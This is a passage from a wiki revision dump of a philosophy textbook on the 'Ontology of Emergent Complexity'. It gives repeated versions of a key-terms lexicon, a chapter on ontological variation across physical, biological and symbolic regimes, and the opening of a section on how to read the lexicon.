Complexity/6.1 – Key Terms of the OEC|Section 6.1]] defines the vocabulary; [[Foundations of the Ontology of Emergent Complexity/6.2 – Ontological Variations|Section 6.2]] shows how its application changes across material regimes. {{BookCat}} oyzoz479yrvtavdxpkjloblortsgy3g 0 480141 4670727 4670275 2026-09-17T23:39:42Z DavidCota64 3507033 Correct canonical term: “Ontology of Emerging Complexity” → “Ontology of Emergent Complexity” 4670727 wikitext text/x-wiki == 6.1 Key Terms of the OEC == This lexicon does not offer a neutral glossary. It gathers a set of operators that are structurally necessary for the ontology of emergent complexity: terms that name ways in which the material field organizes itself, becomes symbolizable, and is reorganized by symbolic operations. Each entry should be read as a functional tool rather than as a definition of an essence. The aim of this section is to stabilise a minimal vocabulary that allows the reader to follow the arguments without confusion, while making explicit where these terms depart from their habitual use in other traditions. [6.1.A – Purpose and scope of the lexicon: This block should clarify what this lexicon is and what it is not. It is not an exhaustive dictionary of all concepts used in the book, nor a list of fashionable terms. It is a compact set of operators that the framework cannot dispense with: names for the basic regimes of material organisation (field, instability, excess), for the processes of symbolisation (trace, mark, symbol), and for the ethical-political dimension of exposure and reorganisation. The scope of this lexicon is strictly tied to this volume: it stabilises the vocabulary needed here, without pre-empting future developments.] [6.1.B – Criteria for including a term: This block should state the criteria that distinguish “key terms” from secondary vocabulary. A term belongs in this lexicon only if (i) it plays an indispensable role in the architecture of the ontology; (ii) it designates a specific material-symbolic operation, not a vague theme; and (iii) it undergoes a displacement in meaning compared to its standard philosophical use. The entry for each term must therefore indicate not only what the term does in this framework, but also how this use diverges from familiar meanings in other traditions.] [6.1.C – Structure of each entry: This block should define a simple, consistent internal structure for the entries. At minimum, each entry should contain: (1) a concise functional description (“what the term does” rather than “what it is”); (2) a brief indication of its difference from classical or modern uses (for example, how “symbol” here departs from representationalist or idealist understandings); (3) cross-references to other key terms and to the main sections of the book where the term is operative. The lexicon should read as a network of operators, not as a list of isolated items.] [6.1.D – Core ontological operators: This block should identify the cluster of terms that name the basic ontological operators of the framework. At a minimum, it should include terms such as field, instability, operational excess, functional coupling, and local order. Each of these terms must be presented as an operator on the material field: “field” as the unstable configuration of relations; “instability” as structural condition, not accident; “operational excess” as the surplus of possible reorganisations over any given structure; “functional coupling” as the emergence of relatively stable patterns; and “local order” as the temporary articulation of these patterns. The entries must insist that none of these terms names a transcendent layer of reality: they all refer to modes of material organisation.] [6.1.E – Symbolic operators: trace, mark, symbol, inscription: This block should specify the group of terms that describe the emergence and operation of the symbolic. “Trace” should be defined as a pre-symbolic differentiation in the field; “mark” as a material organisation that has become symbolisable through an actual inscription; “symbol” as a material structure that represents a relation between marks and acts upon them; “inscription” as the operation that produces marks from traces. Each entry must underline that these are not metaphors: traces, marks, and symbols are material configurations and operations, not mental entities or purely linguistic forms.] [6.1.F – Ethical-political operators: exposure, vulnerability, decision, reorganisation: This block should identify the terms that connect the ontology to ethics and politics. “Exposure” names the fact that any configuration in the field is open to being affected; “vulnerability” designates the asymmetric distribution of possible harms and protections; “decision” is the local symbolic operation that reorganizes exposure without guarantee; “reorganisation” refers to the material change in the pattern of contacts that follows from symbolic operations. The entries must make clear that these terms are not psychological or moral categories, but descriptions of how the field is materially reshaped by symbolic gestures.] [6.1.G – Relation to other reference tools (annexes, external works): This final block should situate this lexicon in relation to other reference materials. It should explain that this list of key terms is designed for the pedagogical and argumentative needs of this volume, whereas more extended discussions (historical genealogies, comparisons with other authors, technical debates) are reserved for separate theoretical annexes or independent texts. The section should close by inviting the reader to treat this lexicon as a working toolkit: a set of operators to be used, tested, and revised in light of the subsequent developments of the ontology.] {{BookCat}} 4udyqu44j14jhl2as0lvuzozom6qw48 4670760 4670727 2026-09-17T23:55:44Z DavidCota64 3507033 Rebuild 6.1 as a pedagogical lexicon aligned with the canonical OEC terminology 4670760 wikitext text/x-wiki == 6.1 Key Terms of the OEC == The Ontology of Emergent Complexity (OEC) uses a small group of terms in precise, connected ways. This page is a reading tool, not a catalogue of essences. Each entry states what an operator allows us to distinguish, what it must not be confused with, and how it connects with the other operators. The definitions are therefore stable enough to guide the book, but functional rather than final. === A map before the definitions === Three routes organise the lexicon: * '''Instability and operative excess → functional coupling → local order and emergence.''' * '''Material difference → trace → singular inscription → mark + inaugural symbol → later symbolic instances → relations between symbols → symbolic reorganisation.''' * '''Exposure → vulnerability → hesitation → decision → material reorganisation.''' The arrows indicate analytic and functional dependence. They do not describe a universal timetable or a predetermined sequence. In particular, the mark and the inaugural symbol are co-constituted in the same singular inscription; a completed mark never waits for a later symbol to animate it. === Core ontological operators === ;'''Immanence''' :The principle that material, symbolic, ethical, and political operations all occur within material organisation, without appeal to a transcendent source or a second plane of reality. Immanence does not mean that every process can be described in the vocabulary of physics alone. Different material regimes develop different operations, while remaining materially dependent and open to effects from other configurations. See [[Foundations of the Ontology of Emergent Complexity/Philosophical Commitments/Refusal of Metaphysical Dualism|Refusal of Metaphysical Dualism]]. ;'''Field''' :The situated web of material interactions, constraints, and possible effects relevant to an analysis. A field is not a container, a hidden background, or a prior structure that generates whatever appears within it. It is a way of naming the relations through which a configuration exists and can be affected. The operative question is: ''which relations make this configuration possible here, at this scale and during this interval?'' ;'''Instability''' :The absence of any final guarantee that a material configuration will persist. Every configuration depends on conditions that can vary, so it may be perturbed, reorganised, or dissolved. Instability is not pure disorder and not a defect imposed on an otherwise perfect order. It is what makes history, differentiation, and new organisation possible. See [[Foundations of the Ontology of Emergent Complexity/Philosophical Commitments/Instability as a Condition, not a Problem|Instability as a Condition, not a Problem]]. ;'''Operative excess''' :The condition in which the operations available to, imposed upon, or made possible within a system exceed what its current organisation can integrate. In a symbolic system, the existing symbolic form becomes insufficient for the work the system must perform. Operative excess is therefore a positive surplus that presses towards invention; it is not a lack, an original wound, or proof that a hidden totality has been lost. ;'''Functional coupling''' :The process by which partial material organisations become locally compatible and produce a functionally consistent system whose capacities exceed those of its components taken separately. No external coordinator or prior plan is required. A coupling persists only while the material conditions that sustain it continue to operate. See [[Foundations of the Ontology of Emergent Complexity/Order as Local Effect/III - Order as an Effect of Functional Coupling|Order as an Effect of Functional Coupling]]. ;'''Emergence''' :The process by which a new property, function, or capacity becomes operative in a complex material system without being reducible to the sum of its parts or prescribed by a prior plan. Emergence must be identified through the new effects it makes possible. Surprise, novelty of description, or our ignorance of a cause is not enough. A genuinely emergent capacity changes what the system can do. ;'''Local order''' :A temporary stabilisation of functional couplings under specific material conditions. Local order is an effect, not an origin: it neither proves a cosmic design nor escapes the instability from which it arises. Its limits become visible when the supporting conditions change. See [[Foundations of the Ontology of Emergent Complexity/Order as Local Effect/I - Against Order as Principle|Against Order as Principle]]. ;'''Threshold''' :The minimum constellation of material conditions under which a new operation becomes possible. Crossing a threshold opens a branch of possibility; it does not guarantee that the new capacity will appear, persist, or develop towards a goal. The term replaces appeals to a pre-given essence with an inquiry into the conditions that enable a system to do something it could not previously do. ;'''Configuration''' :A situated arrangement of material relations, constraints, and capacities. A configuration can be treated as a unit for analysis, but it is not a substance enclosed in itself. Its apparent continuity depends on ongoing couplings and on the scale and temporal window through which it is examined. === Symbolic operators === The symbolic is a material regime of operation. It neither floats above matter nor belongs exclusively to conscious minds. A technical system can discriminate and inscribe a difference under a protocol without possessing consciousness or intention. ;'''Trace''' :The ephemeral material event in which a system discriminates a new or previously unknown material or energetic configuration, before recognition and inscription. A trace is not the independent difference itself, a surviving vestige, a mark, or a public sign. The event of discrimination passes; the material configuration discriminated may persist. ;'''Inscription''' :The singular, simultaneously material and symbolic operation in which the difference manifested in a new trace is recognised under a protocol and its material configuration is stabilised. This one operation co-constitutes the mark and the inaugural symbol. The sequence ''trace → inscription → mark + symbol'' expresses analytic dependence, not a delay between the birth of the mark and that of the symbol. ;'''Mark''' :The material organisation recognised and stabilised through singular inscription, addressable and recoverable according to a protocol. The mark is the passive material dimension of that inscription. It does not interpret, compare, establish relations, or reorganise anything by itself. It can condition later operations only through the symbols that represent it. ;'''Symbol''' :The material dimension of legibility and representation co-constituted with the mark in singular inscription. The inaugural symbol is born with the mark. A later occurrence recognised as an instance of that available mark constitutes an additional symbolic instance; it does not repeat the original inscription. The system establishes relations only between symbols, and both recognition and relation require physical support. ;'''Protocol of inscription''' :The rules, thresholds, tolerances, procedures, scales, and verification conditions that determine how a system discriminates differences, recognises an occurrence, and inscribes a new one. A protocol does not make the material difference exist. It conditions what the system can render legible and how that legibility can be checked. ;'''Symbolic reorganisation''' :The material recombination of symbols and of the relations between them. It can change a system's future operations and produce new material configurations. If a resulting configuration is discriminated as a new difference, that event constitutes a new trace and may lead to another singular inscription. Marks are not related to one another and are not symbolically transformed. ==== A boundary that prevents three common confusions ==== '''The real''' is the material process that exists independently of any particular observation or inscription and always exceeds a single act of capture. '''The concrete''' is the situated portion of the real observed or captured by a material system, under a scale, device, temporal window, and set of thresholds. '''Theory''' is an organised articulation of symbols constituted from the inscription of the concrete. Observation does not create the real; capturing something as concrete does not yet make it symbolic; and an isolated symbol does not yet amount to a theory. ==== Worked example: an unfamiliar laboratory result ==== # A physical outcome occurs whether or not the apparatus or researcher recognises it. # The apparatus captures a situated portion of that outcome within its scale, sensitivity, and temporal window. The captured result is concrete, but it is not automatically symbolic. # If the system discriminates a pattern for which it has no available mark, the event of discrimination constitutes a trace. # Under a protocol, the system recognises and singularly inscribes the new difference. This act co-constitutes a recoverable mark and its inaugural symbol. # Later results recognised as instances of the available mark constitute additional symbols. They do not recreate the mark or repeat the inaugural inscription. # Those symbols can enter relations with symbols for experimental conditions, competing hypotheses, error margins, or required actions. These relations may reorganise the experiment. The mark remains passive throughout. This example is deliberately procedural. The status of an occurrence depends on the material history and protocol of the system: the same physical pattern may be a new trace for one system and a recognised instance of an existing mark for another. === Ethical-political operators === ;'''Exposure''' :The condition of being open to effects that a configuration does not fully control. Exposure is not a voluntary attitude added to an otherwise self-contained entity. Any system that exists through relations is already exposed to perturbation, dependence, and possible reorganisation. ;'''Vulnerability''' :The possibility of damage, loss, or disorganisation that accompanies exposure, together with the unequal distribution of protection and capacities for response. Vulnerability is not a moral defect to be eliminated. It becomes ethically decisive because systems do not bear the same risks, control the same resources, or possess the same means of repair. See [[Foundations of the Ontology of Emergent Complexity/4.1 Vulnerability Without Center|Vulnerability Without Center]]. ;'''Hesitation''' :The suspension of an automatic response when the available operative framework is insufficient. Hesitation is not indecision for its own sake. It opens time in which a system can register what its routines exclude, reorganise symbolic relations, and avoid converting an inadequate first response into violence. ;'''Decision''' :A local symbolic operation that changes a field of exposure without any guarantee that all consequences can be anticipated. Decision is not the sovereign expression of a will standing outside material conditions. It is a situated intervention made under uncertainty, with effects that must remain open to scrutiny and revision. ;'''Reorganisation''' :A material change in couplings, contacts, capacities, or distributions of exposure, often mediated by symbolic operations. Reorganisation is not automatically ethical. A more intricate institution can still intensify domination. Ethical assessment asks whether a change reduces structural violence, expands the affected systems' capacities for response and repair, and keeps contestation and revision possible. === Common confusions === {| class="wikitable" ! Operator ! Do not confuse it with |- | Field | A container, hidden substrate, or separate plane of reality |- | Instability | Pure chaos or the accidental failure of an underlying order |- | Operative excess | Lack, trauma, error, or a missing completion |- | Emergence | Mere appearance, unpredictability, progress, or miraculous novelty |- | Threshold | A guarantee, destiny, or automatic transition |- | Trace | A persistent object, mark, symbol, or public sign |- | Mark | An interpreter or an active participant in symbolic relations |- | Symbol | An immaterial meaning detached from physical support |- | Reorganisation | Improvement by definition |} === A practical reading test === When applying the lexicon to a case, ask: # What configuration is being analysed, and which material relations constitute its field? # What remains unstable, and what exceeds the configuration's present capacity to respond? # Which functional couplings sustain a local order? What new effect would justify calling a change emergent? # If symbolisation is involved, where are the trace, singular inscription, mark, symbol, and protocol? Have any of them been conflated? # How are exposure, vulnerability, protection, and capacity for response distributed? # What decision reorganises the situation, who bears its risks, and what possibilities of repair or revision remain open? The next section, [[Foundations of the Ontology of Emergent Complexity/6.2 – Ontological Variations|6.2 – Ontological Variations]], examines how these operators vary across material regimes. [[Foundations of the Ontology of Emergent Complexity/6.3 – How to Read the Lexicon|6.3 – How to Read the Lexicon]] explains how to use them without turning the lexicon into a fixed doctrine. {{BookCat}} f2mjqq2ro1a4tj08kq03mhpxk1ie19i 4670791 4670760 2026-09-18T01:44:51Z DavidCota64 3507033 Apply British English: centre 4670791 wikitext text/x-wiki == 6.1 Key Terms of the OEC == The Ontology of Emergent Complexity (OEC) uses a small group of terms in precise, connected ways. This page is a reading tool, not a catalogue of essences. Each entry states what an operator allows us to distinguish, what it must not be confused with, and how it connects with the other operators. The definitions are therefore stable enough to guide the book, but functional rather than final. === A map before the definitions === Three routes organise the lexicon: * '''Instability and operative excess → functional coupling → local order and emergence.''' * '''Material difference → trace → singular inscription → mark + inaugural symbol → later symbolic instances → relations between symbols → symbolic reorganisation.''' * '''Exposure → vulnerability → hesitation → decision → material reorganisation.''' The arrows indicate analytic and functional dependence. They do not describe a universal timetable or a predetermined sequence. In particular, the mark and the inaugural symbol are co-constituted in the same singular inscription; a completed mark never waits for a later symbol to animate it. === Core ontological operators === ;'''Immanence''' :The principle that material, symbolic, ethical, and political operations all occur within material organisation, without appeal to a transcendent source or a second plane of reality. Immanence does not mean that every process can be described in the vocabulary of physics alone. Different material regimes develop different operations, while remaining materially dependent and open to effects from other configurations. See [[Foundations of the Ontology of Emergent Complexity/Philosophical Commitments/Refusal of Metaphysical Dualism|Refusal of Metaphysical Dualism]]. ;'''Field''' :The situated web of material interactions, constraints, and possible effects relevant to an analysis. A field is not a container, a hidden background, or a prior structure that generates whatever appears within it. It is a way of naming the relations through which a configuration exists and can be affected. The operative question is: ''which relations make this configuration possible here, at this scale and during this interval?'' ;'''Instability''' :The absence of any final guarantee that a material configuration will persist. Every configuration depends on conditions that can vary, so it may be perturbed, reorganised, or dissolved. Instability is not pure disorder and not a defect imposed on an otherwise perfect order. It is what makes history, differentiation, and new organisation possible. See [[Foundations of the Ontology of Emergent Complexity/Philosophical Commitments/Instability as a Condition, not a Problem|Instability as a Condition, not a Problem]]. ;'''Operative excess''' :The condition in which the operations available to, imposed upon, or made possible within a system exceed what its current organisation can integrate. In a symbolic system, the existing symbolic form becomes insufficient for the work the system must perform. Operative excess is therefore a positive surplus that presses towards invention; it is not a lack, an original wound, or proof that a hidden totality has been lost. ;'''Functional coupling''' :The process by which partial material organisations become locally compatible and produce a functionally consistent system whose capacities exceed those of its components taken separately. No external coordinator or prior plan is required. A coupling persists only while the material conditions that sustain it continue to operate. See [[Foundations of the Ontology of Emergent Complexity/Order as Local Effect/III - Order as an Effect of Functional Coupling|Order as an Effect of Functional Coupling]]. ;'''Emergence''' :The process by which a new property, function, or capacity becomes operative in a complex material system without being reducible to the sum of its parts or prescribed by a prior plan. Emergence must be identified through the new effects it makes possible. Surprise, novelty of description, or our ignorance of a cause is not enough. A genuinely emergent capacity changes what the system can do. ;'''Local order''' :A temporary stabilisation of functional couplings under specific material conditions. Local order is an effect, not an origin: it neither proves a cosmic design nor escapes the instability from which it arises. Its limits become visible when the supporting conditions change. See [[Foundations of the Ontology of Emergent Complexity/Order as Local Effect/I - Against Order as Principle|Against Order as Principle]]. ;'''Threshold''' :The minimum constellation of material conditions under which a new operation becomes possible. Crossing a threshold opens a branch of possibility; it does not guarantee that the new capacity will appear, persist, or develop towards a goal. The term replaces appeals to a pre-given essence with an inquiry into the conditions that enable a system to do something it could not previously do. ;'''Configuration''' :A situated arrangement of material relations, constraints, and capacities. A configuration can be treated as a unit for analysis, but it is not a substance enclosed in itself. Its apparent continuity depends on ongoing couplings and on the scale and temporal window through which it is examined. === Symbolic operators === The symbolic is a material regime of operation. It neither floats above matter nor belongs exclusively to conscious minds. A technical system can discriminate and inscribe a difference under a protocol without possessing consciousness or intention. ;'''Trace''' :The ephemeral material event in which a system discriminates a new or previously unknown material or energetic configuration, before recognition and inscription. A trace is not the independent difference itself, a surviving vestige, a mark, or a public sign. The event of discrimination passes; the material configuration discriminated may persist. ;'''Inscription''' :The singular, simultaneously material and symbolic operation in which the difference manifested in a new trace is recognised under a protocol and its material configuration is stabilised. This one operation co-constitutes the mark and the inaugural symbol. The sequence ''trace → inscription → mark + symbol'' expresses analytic dependence, not a delay between the birth of the mark and that of the symbol. ;'''Mark''' :The material organisation recognised and stabilised through singular inscription, addressable and recoverable according to a protocol. The mark is the passive material dimension of that inscription. It does not interpret, compare, establish relations, or reorganise anything by itself. It can condition later operations only through the symbols that represent it. ;'''Symbol''' :The material dimension of legibility and representation co-constituted with the mark in singular inscription. The inaugural symbol is born with the mark. A later occurrence recognised as an instance of that available mark constitutes an additional symbolic instance; it does not repeat the original inscription. The system establishes relations only between symbols, and both recognition and relation require physical support. ;'''Protocol of inscription''' :The rules, thresholds, tolerances, procedures, scales, and verification conditions that determine how a system discriminates differences, recognises an occurrence, and inscribes a new one. A protocol does not make the material difference exist. It conditions what the system can render legible and how that legibility can be checked. ;'''Symbolic reorganisation''' :The material recombination of symbols and of the relations between them. It can change a system's future operations and produce new material configurations. If a resulting configuration is discriminated as a new difference, that event constitutes a new trace and may lead to another singular inscription. Marks are not related to one another and are not symbolically transformed. ==== A boundary that prevents three common confusions ==== '''The real''' is the material process that exists independently of any particular observation or inscription and always exceeds a single act of capture. '''The concrete''' is the situated portion of the real observed or captured by a material system, under a scale, device, temporal window, and set of thresholds. '''Theory''' is an organised articulation of symbols constituted from the inscription of the concrete. Observation does not create the real; capturing something as concrete does not yet make it symbolic; and an isolated symbol does not yet amount to a theory. ==== Worked example: an unfamiliar laboratory result ==== # A physical outcome occurs whether or not the apparatus or researcher recognises it. # The apparatus captures a situated portion of that outcome within its scale, sensitivity, and temporal window. The captured result is concrete, but it is not automatically symbolic. # If the system discriminates a pattern for which it has no available mark, the event of discrimination constitutes a trace. # Under a protocol, the system recognises and singularly inscribes the new difference. This act co-constitutes a recoverable mark and its inaugural symbol. # Later results recognised as instances of the available mark constitute additional symbols. They do not recreate the mark or repeat the inaugural inscription. # Those symbols can enter relations with symbols for experimental conditions, competing hypotheses, error margins, or required actions. These relations may reorganise the experiment. The mark remains passive throughout. This example is deliberately procedural. The status of an occurrence depends on the material history and protocol of the system: the same physical pattern may be a new trace for one system and a recognised instance of an existing mark for another. === Ethical-political operators === ;'''Exposure''' :The condition of being open to effects that a configuration does not fully control. Exposure is not a voluntary attitude added to an otherwise self-contained entity. Any system that exists through relations is already exposed to perturbation, dependence, and possible reorganisation. ;'''Vulnerability''' :The possibility of damage, loss, or disorganisation that accompanies exposure, together with the unequal distribution of protection and capacities for response. Vulnerability is not a moral defect to be eliminated. It becomes ethically decisive because systems do not bear the same risks, control the same resources, or possess the same means of repair. See [[Foundations of the Ontology of Emergent Complexity/4.1 Vulnerability Without Centre|Vulnerability Without Centre]]. ;'''Hesitation''' :The suspension of an automatic response when the available operative framework is insufficient. Hesitation is not indecision for its own sake. It opens time in which a system can register what its routines exclude, reorganise symbolic relations, and avoid converting an inadequate first response into violence. ;'''Decision''' :A local symbolic operation that changes a field of exposure without any guarantee that all consequences can be anticipated. Decision is not the sovereign expression of a will standing outside material conditions. It is a situated intervention made under uncertainty, with effects that must remain open to scrutiny and revision. ;'''Reorganisation''' :A material change in couplings, contacts, capacities, or distributions of exposure, often mediated by symbolic operations. Reorganisation is not automatically ethical. A more intricate institution can still intensify domination. Ethical assessment asks whether a change reduces structural violence, expands the affected systems' capacities for response and repair, and keeps contestation and revision possible. === Common confusions === {| class="wikitable" ! Operator ! Do not confuse it with |- | Field | A container, hidden substrate, or separate plane of reality |- | Instability | Pure chaos or the accidental failure of an underlying order |- | Operative excess | Lack, trauma, error, or a missing completion |- | Emergence | Mere appearance, unpredictability, progress, or miraculous novelty |- | Threshold | A guarantee, destiny, or automatic transition |- | Trace | A persistent object, mark, symbol, or public sign |- | Mark | An interpreter or an active participant in symbolic relations |- | Symbol | An immaterial meaning detached from physical support |- | Reorganisation | Improvement by definition |} === A practical reading test === When applying the lexicon to a case, ask: # What configuration is being analysed, and which material relations constitute its field? # What remains unstable, and what exceeds the configuration's present capacity to respond? # Which functional couplings sustain a local order? What new effect would justify calling a change emergent? # If symbolisation is involved, where are the trace, singular inscription, mark, symbol, and protocol? Have any of them been conflated? # How are exposure, vulnerability, protection, and capacity for response distributed? # What decision reorganises the situation, who bears its risks, and what possibilities of repair or revision remain open? The next section, [[Foundations of the Ontology of Emergent Complexity/6.2 – Ontological Variations|6.2 – Ontological Variations]], examines how these operators vary across material regimes. [[Foundations of the Ontology of Emergent Complexity/6.3 – How to Read the Lexicon|6.3 – How to Read the Lexicon]] explains how to use them without turning the lexicon into a fixed doctrine. {{BookCat}} sddqb7cwsry5fmj62g6jgjjxu2kb8n1 0 480142 4670764 4670277 2026-09-18T00:17:15Z DavidCota64 3507033 Replace chapter skeleton with a pedagogical, conceptually revised treatment based on the Portuguese source 4670764 wikitext text/x-wiki A single material field does not imply that every configuration operates in the same way. Crystals, cells, ecosystems, languages, technical systems, and institutions can all be material without sharing the same capacities. This chapter explains how the vocabulary introduced in [[Foundations of the Ontology of Emergent Complexity/6.1 – Key Terms of the OEC|Section 6.1]] varies across regimes of organisation. An '''ontological variation''' is neither a separate realm of being nor a new substance added to matter. It is a difference in how a configuration is organised, maintained, affected, and capable of affecting other configurations. The task is to preserve one-field materialism while avoiding the opposite mistake of flattening every difference. == Learning orientation == By the end of this chapter, the reader should be able to: * distinguish scale, regime, threshold, and configuration; * identify which operators apply generally and which require specific conditions; * compare physical, biological, and symbolic organisations without arranging them as separate worlds; * avoid attributing symbolic agency to every causal process; * construct a provisional map of a concrete case. The guiding question is: '''Which capacities become possible in this configuration, through which couplings, and under which material constraints?''' == Four distinctions for mapping variation == The terms below answer different questions and should not be used interchangeably. ;'''Configuration''' :A relatively stabilised arrangement of relations. A storm, organism, laboratory, and legal procedure can each be analysed as a configuration. ;'''Scale''' :The spatial, temporal, or organisational resolution at which relations are selected. The same river can be studied at the scale of molecular reactions, seasonal flows, a watershed, or centuries of erosion. A change of scale alters what becomes salient; it does not automatically reveal a different kind of being. ;'''Regime''' :A recurrent mode of organisation characterised by certain capacities and constraints. “Physical”, “biological”, and “symbolic” name broad analytical regimes in this chapter. Their boundaries are not walls, and concrete cases may combine more than one regime. ;'''Threshold''' :A change in functional organisation beyond which a new capacity becomes operative. Crossing a threshold does not add a supernatural ingredient. It means that relations have become coupled in a way that can do something the prior configuration could not do. These distinctions prevent two shortcuts. One is to infer a new ontology whenever the scale changes. The other is to assume that because all configurations are material, all material configurations possess the same powers. == Operators do not all have the same range == Some OEC operators are highly general. '''Field''', '''configuration''', '''instability''', '''functional coupling''', '''local order''', and '''threshold''' can guide analysis across many domains. Others are conditional. Metabolism and self-maintenance require particular biological organisations. Trace, inscription, mark, and symbol require material systems capable of discrimination, stabilisation, recognition, and relational symbolic operation. Ethical decision requires still more: a capacity to reorganise relations through symbolically mediated response. The vocabulary should therefore be applied by criteria, not by analogy alone. Saying that a crystal “records” temperature changes may be a useful shorthand for a persistent physical modification. It does not by itself establish inscription or symbolisation in the technical sense. Likewise, an organism’s sensitivity to light does not automatically make light a symbol for that organism. {| class="wikitable" ! Operator or capacity ! Physical configurations ! Biological configurations ! Symbolic configurations |- | Field, instability, coupling, local order | Generally applicable | Generally applicable | Generally applicable |- | Self-maintenance | May occur in limited dynamic patterns, but is not universal | Characteristic of organised living systems | Depends on material and often biological or technical supports |- | Trace | A persistent difference may qualify when it can be functionally discriminated | Possible in organised systems with relevant discriminatory capacities | Commonly incorporated into procedures of inscription |- | Mark and symbol | Not attributed merely because a pattern exists | Not implied by life as such | Apply when the functional criteria of inscription and recognition are met |- | Decision | Not a name for every causal transition | Behavioural selection alone is insufficient for the full ethical sense | Applies where symbols mediate the reorganisation of relations |- | Exposure and vulnerability | Material susceptibility can be described | Organised dependence and uneven capacity for repair become salient | Also acquire ethical-political meaning through recognised and redistributed effects |} The entries mark analytical conditions, not an evolutionary ladder. A symbolic system does not cease to be physical, and living organisation does not escape chemistry. Later capacities depend on material relations while remaining irreducible to a list of isolated components. == Physical variations == At a physical level, the framework directs attention towards pattern formation, constraint, dissipation, and transition. Consider crystallisation. Under a suitable range of temperature, concentration, pressure, and available material, components can form a regular lattice. The ordered structure is not imposed by a transcendent form; it results from interactions under determinate conditions. This example supports only a modest philosophical point. It shows that local order can arise materially and that its persistence depends on conditions. It does not prove every claim of the OEC, nor does the framework replace the scientific explanation supplied by thermodynamics and materials science. Philosophy clarifies the ontological status of the order; empirical inquiry determines the mechanisms and measurements. Instability in this regime should also be described precisely. It does not mean constant visible change or absence of law. A rock can remain stable for centuries while still being exposed to stresses, chemical reactions, and changing surroundings. Stability is a temporally extended achievement relative to a scale, not exemption from the field. == Biological variations == Living systems introduce distinctive forms of organised dependence. A cell maintains a boundary, exchanges matter and energy, repairs components, and regulates processes whose coordination is necessary for continued activity. The boundary does not isolate the cell from the field; it organises selective contact with it. Biological organisation makes '''vulnerability''' especially clear. The capacities that allow an organism to persist also create specific ways in which it can fail. Dependence on oxygen, temperature range, nutrients, symbiotic relations, or immune regulation is both enabling and exposing. Vulnerability is not an accidental weakness added to life; it follows from organised dependence. No inference from life to symbolism should be automatic. Organisms discriminate signals and modify behaviour, but the OEC reserves symbol for a materially supported operation that represents a mark and relates to other symbols. Whether a particular animal, artificial system, or collective meets those criteria is an empirical and conceptual question. It cannot be settled by naming all responsiveness “communication”. == Symbolic variations == A symbolic regime becomes possible when material configurations can stabilise marks, recognise later occurrences as instances, relate symbols to other symbols, and use those relations to modulate further operation. Human languages are prominent examples, but the definition is functional rather than species-exclusive. Symbolic organisation brings a distinctive kind of recursion. A model can represent a process; another symbol can qualify the model as uncertain; institutions can revise the rules by which models are accepted. This does not place symbols outside matter. Books, servers, gestures, neural activity, classrooms, and administrative routines are material supports and couplings. Symbolic configurations also produce new forms of exposure. A legal category can grant or remove access; a credit score can affect housing; a warning system can redirect populations. The effects are not “merely symbolic”, because symbols operate through material arrangements. Their revisability creates responsibility: configurations capable of recognising and reorganising effects can be called to account for how exposure is distributed. Historically known symbolic practices depend on biological and technical supports. The framework does not turn that history into a necessary metaphysical boundary. A non-human or post-biological system would qualify if it satisfied the functional criteria; resemblance to human speech would not be required. == Worked comparison: three boundaries == The word ''boundary'' changes meaning across regimes. # '''Crystal surface.''' The boundary marks where one lattice structure ends and another medium begins. Its properties follow from physical organisation and surrounding conditions. # '''Cell membrane.''' The boundary actively regulates exchange and helps maintain the processes that sustain the cell. Its permeability is part of biological self-maintenance. # '''Legal jurisdiction.''' The boundary is enacted through maps, statutes, databases, officials, and recognised procedures. It can be interpreted, contested, and revised through symbolic operations. All three boundaries are material and operative. They are not equivalent. Calling the jurisdiction “only an idea” ignores its material enforcement; calling the crystal surface a legal decision imports capacities it does not have. Variation is the disciplined art of preserving both continuity and difference. == Re-reading familiar ontological families == Substance, process, relation, and event ontologies can be treated as analytical emphases rather than mutually exclusive worlds. * A '''substance''' vocabulary highlights persistence and relative unity. * A '''process''' vocabulary highlights transformation and temporal development. * A '''relational''' vocabulary highlights dependence and coupling. * An '''event''' vocabulary highlights transitions and the appearance of new determinations. The OEC uses each emphasis where it clarifies a configuration, but grants none unconditional priority. Persistence must be explained through process and relation; processes form relatively stable unities; relations change through events; events occur within constrained configurations. == A mapping protocol == When analysing a new case, proceed in this order: # delimit the configuration and state the scale of observation; # identify the material relations and constraints that sustain it; # describe its current local order and sources of instability; # ask which capacities are actually demonstrated, rather than inferred by metaphor; # locate thresholds at which capacities appear, disappear, or change; # test which operators apply and record which do not; # where symbolic response exists, map decisions and distributions of exposure. The result is a '''local ontology''': a revisable account of what exists and operates in the case, at a stated scale and under stated conditions. It is not a sealed miniature world. == Check your understanding == * Why is a change of scale not necessarily a change of regime? * Which additional evidence would be needed before calling a material pattern a symbol? * How can a capacity be irreducible without becoming immaterial? * What is lost if physical, biological, and symbolic differences are flattened? * What is lost if they are converted into separate substances or levels of reality? == Transition == Ontological variation explains where the terms can be used. [[Foundations of the Ontology of Emergent Complexity/6.3 – How to Read the Lexicon|Section 6.3]] explains how to use them: as a network of operators, with a step-by-step analytical procedure and checks against familiar reductions. {{BookCat}} a7pq2nas0kvg6eq0mu37th3nnbs2rn7 0 480143 4670728 4670279 2026-09-17T23:39:47Z DavidCota64 3507033 Correct canonical term: “Ontology of Emerging Complexity” → “Ontology of Emergent Complexity” 4670728 wikitext text/x-wiki == 6.3 How to Read the Lexicon == This lexicon is not a list of neutral definitions. It is a toolkit for operating within a specific ontological framework. Each term names an operator, not an essence: a way in which the material field can be described, organised, and symbolically reorganised. To read this lexicon is therefore to learn how to use a set of tools, not to memorise a vocabulary. The aim of this section is to indicate how these entries should be approached, where misreadings are likely to occur, and how the lexicon relates to the broader theoretical apparatus of this book. [6.3.A – Function of this section within the book: This block should clarify why guidance is needed for reading the lexicon. The terms gathered here are not self-explanatory, and their meaning cannot be detached from the architecture of the ontology. This section must state that the lexicon is a condensed interface between the conceptual work developed in Chapters 1–5 and the applications that will follow. It should emphasise that misuse of the lexicon (treating it as a dictionary of fixed meanings, or importing terms into foreign frameworks without care) can obscure rather than clarify the ontology of emergent complexity.] [6.3.B – Terms as operators, not essences: This block should insist that each entry names an operator: a way of acting on descriptions, of reorganising how phenomena are seen, grouped, and related. “Field”, “instability”, “operational excess”, “trace”, “mark”, “symbol”, “exposure”, “decision”, and “reorganisation” are to be read as functional tools, not as hidden substances behind appearances. The entry for each term should be approached by asking “what does this operator allow me to do?” rather than “what is this thing in itself?”. This block must discourage any tendency to reify the vocabulary into a new catalogue of metaphysical entities.] [6.3.C – Reading entries in context: cross-references and internal coherence: This block should recommend that entries never be read in isolation. Each term is defined through its relations to others (“trace” in relation to “mark” and “inscription”; “symbol” in relation to “field” and “operational excess”; “exposure” in relation to “vulnerability” and “decision”). 